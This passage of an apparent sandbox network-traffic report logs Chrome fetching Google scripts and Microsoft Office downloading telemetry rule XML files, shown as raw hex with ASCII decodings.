6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700281,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-11 11:40:12 UTC	1192	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-11 11:40:12 UTC	405	IN	Data Raw: 31 38 65 0d 0a 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c Data Ascii: 18ea\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,
2024-11-11 11:40:12 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6f 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 74 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 Data Ascii: 8000nProperty(d)?a.setAttribute(te[d],c):_.oe(d,\"aria-\")\|\|_.oe(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};te\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49719	142.250.185.100	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:12 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 11:40:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 11:40:12 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-11 11:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:13 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 18:56:51 GMT ETag: "0x8DD00F04568BDCF" x-ms-request-id: a2ad2bd1-f01e-0096-27d5-3310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114013Z-174f7845968pf68xhC1EWRr4h80000000530000000006cn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:13 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-11 11:40:13 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 33d009d3-501e-007b-36d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968l4kp6hC1EWRe884000000052g000000006zr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0eb2a1cd-301e-0020-44d5-336299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968vwdr7hC1EWRsh3w00000004tg0000000064ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
